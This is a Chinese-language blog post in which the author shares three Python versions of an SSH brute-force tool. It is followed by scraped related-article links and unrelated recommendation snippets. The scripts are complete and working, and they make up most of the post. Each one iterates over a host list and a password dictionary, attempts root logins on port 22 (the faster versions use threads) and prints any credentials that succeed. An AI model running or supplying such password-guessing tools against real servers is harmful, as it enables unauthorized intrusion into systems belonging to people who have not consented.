前些天,基友发我一个ssh爆破工具,看起来很吊的样子。然后我就无聊自己写了个py脚本的。

单线程:慢成狗-----

#coding:utf-8
#author:jwong

import threading
import os
import time
import paramiko
import sys
import Queue
import socket

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

def ssh_connect(host,pwd):
	ssh = paramiko.SSHClient()
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	try:

		ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5)
		ssh.close()
		print('破解成功!用户名:root'  + '密码:' + pwd + ',ip:' + host)
	except paramiko.AuthenticationException,e:
		pass
	except socket.error,e:
		pass

# class ClassName(object):
# 	"""docstring for ClassName"""
# 	def __init__(self, arg):
# 		super(ClassName, self).__init__()
# 		self.arg = arg
#
host_file = BASE_DIR + '\dict\hosts.txt'
pass_file = BASE_DIR + '\dict\pass.txt'

def open_file(path):
	host = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line.strip('\n') == '':
				continue
			host.append(line.strip('\n'))
		return host
hosts = open_file(host_file)
password = open_file(pass_file)
for host in hosts:
	for pass12 in password:
		print host
		ssh_connect(host,pass12)

运行会出现:No handlers could be found for logger "paramiko.transport" 错误  ----http://stackoverflow.com/questions/19152578/no-handlers-could-be-found-for-logger-paramiko

多线程版本:

#coding:utf-8
import threading
import Queue
import paramiko
import socket
import os

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
host_file = BASE_DIR + '\dict\hosts.txt'
pass_file = BASE_DIR + '\dict\pass.txt'
paramiko.util.log_to_file("filename.log")
queue = Queue.Queue()
lock = threading.Lock()
def read_host_file(path):
	hostlist = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line == '':
				continue
			line = socket.gethostbyname(line.strip())
			hostlist.append(line)
		return hostlist
def read_pass_file(path):
	passlist = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line == '':
				continue
			passlist.append(line.strip())
		return passlist
class SSH(threading.Thread):
	"""docstring for SSH"""
	def __init__(self,queue):
		threading.Thread.__init__(self)
		self.queue = queue
	def run(self):
		while True:
			# if self.queue.empty():
			# 	break
			host,pwd = self.queue.get()
			try:
				ssh = paramiko.SSHClient()
				ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

				ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5)
				ssh.close()
				print('破解成功!用户名:root'  + '密码:' + pwd + ',ip:' + host)

			except paramiko.AuthenticationException,e:
				pass
			except socket.error,e:
				pass
			except:
				pass
			self.queue.task_done()

if __name__ == '__main__':
	hosts = read_host_file(host_file)
	passlist = read_pass_file(pass_file)
	for i in range(30):
		fuck_ssh = SSH(queue)
		fuck_ssh.setDaemon(True)
		fuck_ssh.start()
	for host in hosts:
		for pwd in passlist:
			queue.put((host,pwd))
	queue.join()

  另一个模块实现:

#coding:utf-8

from multiprocessing.dummy import Pool as ThreadPool
from functools import partial

if __name__ == '__main__':
	hosts = read_host_file(host_file)
	passlist = read_pass_file(pass_file)
	for host in hosts:
		partial_user = partial(ssh_connect,host)
		pool = ThreadPool(20)
		pool.map(partial_user,passlist)
		pool.close()
		pool.join()

  

  

参考文献:

http://www.ibm.com/developerworks/cn/aix/library/au-threadingpython/

http://www.waitalone.cn/python-mysql-mult.html

http://www.waitalone.cn/python-brute-all.html

http://www.waitalone.cn/python-thread-map.html

ssh爆破脚本的更多相关文章

  1. python多线程ssh爆破

    python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...

  2. SSH爆破应急响应

    问题发现 登录云主机,根据提示消息,发现正遭受SSH爆破攻击,IP地址为159.65.230.189 查看登录相关安全日志:tail -f /var/log/secure,发现其他尝试爆破IP106. ...

  3. 安装fail2ban,防止ssh爆破及cc攻击

    背景:之前写过shell脚本防止服务器ssh爆破,但是对于服务器的cpu占用较多,看来下资料安装fail2ban 可以有效控制ssh爆破 1:fail2ban 安装(环境:centos6  宝塔) y ...

  4. Python Telnet弱口令爆破脚本及遇到的错误与问题

    写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...

  5. 20181225-Linux Shell Bash环境下自动化创建ssh互信脚本

    20181225-Linux Shell Bash环境下自动化创建ssh互信脚本 1. 我的Blog 博客园 https://www.cnblogs.com/piggybaba/ 个人网站 http: ...

  6. Python SSH爆破以及Python3线程池控制线程数

    源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8 __author_ ...

  7. CentOS 7安装fail2ban+Firewalld防止SSH爆破与CC攻击

    准备工作 1.检查Firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看Firewalld状态 firewall-cmd --sta ...

  8. CentOS7防止CC攻击防止SSH爆破采取的措施

    准备工作 1.检查firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看firewalld状态 firewall-cmd --sta ...

  9. python写批量weblogic爆破脚本

    前言: 整理笔记的时候,发现了weblogic的攻击方法.心里打着算盘看看怎么写 个批量的弱口令爆破脚本.得出了以下思路 思路: 1.利用钟馗之眼采集weblogic的网站,将IP写入到txt 2.添 ...

随机推荐

  1. C++ builder 中AnsiString的字符串转换方法大全

    C++ builder 中AnsiString的字符串转换方法大全 //Ansistring 转 charvoid __fastcall TForm1::Button1Click(TObject *S ...

  2. 使用with ties查询并列的数据

    select top 1 with ties name,stuId,sex,score from stuInfo order by score desc

  3. [原]iOS中 Web 页面与 Native Code 的一种通信方式

    在 iOS 开发中,Web 页面与 Native Code 通信可以分为两个方面: 1.Native Code 调用 Web 页面的方法:主要是调用页面中的 Javascript 函数. 2.Web ...

  4. .NET核心代码保护策略

    .NET核心代码保护策略-隐藏核心程序集 经过之前那个道德指责风波过后也有一段时间没写博客了,当然不是我心怀内疚才这么久不写,纯粹是程序员的通病..怎一个懒字了得,本来想写一些长篇大论反讽一下那些道德 ...

  5. thinkphp实现自动登录

    网页上经常有一些自动登录的checkbox,勾选后,下次进入该网站,无需登录,即可执行一些需要登录才能执行的操作.上班无事,用thinkphp做了下 1 下面是一个很普通的form表单,有一个chec ...

  6. selenium webdriver (python)2

    selenium webdriver (python) 第二版 前言  对于大多软件测试人员来讲缺乏编程经验(指项目开发经验,大学的C 语言算很基础的编程知识)一直是难以逾越的鸿沟,并不是说测试比开发 ...

  7. 解决GOOGLE不能用的办法

    解决GOOGLE不能用的办法 首先平时用用百度还是足够了,但是说实话,百度在进行一些尝试搜索时真的没GOOGLE好用,经常找到一大堆广告,却不是自己想要的,比如搜索里面的双引号.and.site.fi ...

  8. EF如何操作内存中的数据和加载外键数据:延迟加载、贪婪加载、显示加载

    EF如何操作内存中的数据和加载外键数据:延迟加载.贪婪加载.显示加载 之前的EF Code First系列讲了那么多如何配置实体和数据库表的关系,显然配置只是辅助,使用EF操作数据库才是每天开发中都需 ...

  9. 《C++游戏开发》笔记十二 战争迷雾:初步实现

    本系列文章由七十一雾央编写,转载请注明出处.  http://blog.csdn.net/u011371356/article/details/9475979 作者:七十一雾央 新浪微博:http:/ ...

  10. How to install Savanna

    Pre-conditions: openstack has been installed successfully. 解压软件包中的savanna-all.tar.gz安装tar -C / -xzf ...